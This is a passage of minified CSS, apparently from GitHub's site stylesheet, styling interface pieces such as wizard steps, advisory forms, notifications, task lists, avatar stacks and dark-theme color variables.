100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 .Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 .notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso .sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button .octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box .starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: 